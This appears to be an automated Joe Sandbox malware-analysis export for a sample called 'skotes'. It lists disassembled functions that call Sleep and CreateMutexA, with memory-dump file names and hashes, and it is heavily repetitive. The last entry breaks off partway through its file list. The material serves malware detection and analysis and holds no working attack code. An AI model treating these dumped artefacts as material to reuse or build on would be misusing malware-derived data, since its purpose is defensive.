Function 001FA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: fa12b1dcdb906fdbf8d565b5380b5f2659eeaed68a87f7b35d6281c009b28f27
Instruction ID: 34a8354b26bd5dddcac1a983b01d2194dfc4191a1ec5693f357a1e9e292a9380
Opcode Fuzzy Hash: fa12b1dcdb906fdbf8d565b5380b5f2659eeaed68a87f7b35d6281c009b28f27
Instruction Fuzzy Hash: 60318AB17142489BEB08DB78DC8CB7DB772EF85314F644218E618D73C5CB7A59848716

Function 001FA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: eff3097090668bf7290c7e1b62ef261bb24c2a381369035e0218493cb6ceb869
Instruction ID: 711e5fb86b16afc6ae566a3d2d4e22b5a663ca28170d6ac0c2efba5328fba705
Opcode Fuzzy Hash: eff3097090668bf7290c7e1b62ef261bb24c2a381369035e0218493cb6ceb869
Instruction Fuzzy Hash: E53168B1B102489BEB08DBB8DC8CB7DB776AF86310F604218E608973D5C77A59808716

Function 001FA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: 8cbda0d16fe103fe29dda30cf92070e01771b22da6e888c95588ef8d2a8a0b8c
Instruction ID: 16fc137b9339dd87f84a89d41832cbf0dc6675522acba970cec1bd029b1b4cf8
Opcode Fuzzy Hash: 8cbda0d16fe103fe29dda30cf92070e01771b22da6e888c95588ef8d2a8a0b8c
Instruction Fuzzy Hash: C5318C717102089BDB08EBB8D88CB7DB775EFC1314F644218E6189B3C5C7B949C08756

Function 001FA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: 19b6b774dba2d92cd83681bf999e3fc56198576a06f52b1e4d479fc51d75e114
Instruction ID: c2e34521a314c59785d208885a0d3e7b4a209b808f6514c448ff6cba1321379c
Opcode Fuzzy Hash: 19b6b774dba2d92cd83681bf999e3fc56198576a06f52b1e4d479fc51d75e114
Instruction Fuzzy Hash: C3316AB17102088BEB08DBB8DC9DB7DB762EFC5314F648218E508DB3D5C77999908716

Function 001FA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: f5f3da8f0945ba30e4646e21db2676388c5e34d7bf85cb62dbc0f088680f7250
Instruction ID: 158ff172d0f4e46ec710705923e3b5a5bc22803132f810d0f16d0059b05efa7b
Opcode Fuzzy Hash: f5f3da8f0945ba30e4646e21db2676388c5e34d7bf85cb62dbc0f088680f7250
Instruction Fuzzy Hash: 1A318AB17102488BEB08EB78DC9CB7DB772EF85324F648218E618D73D5C77A59808756

Function 001F9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
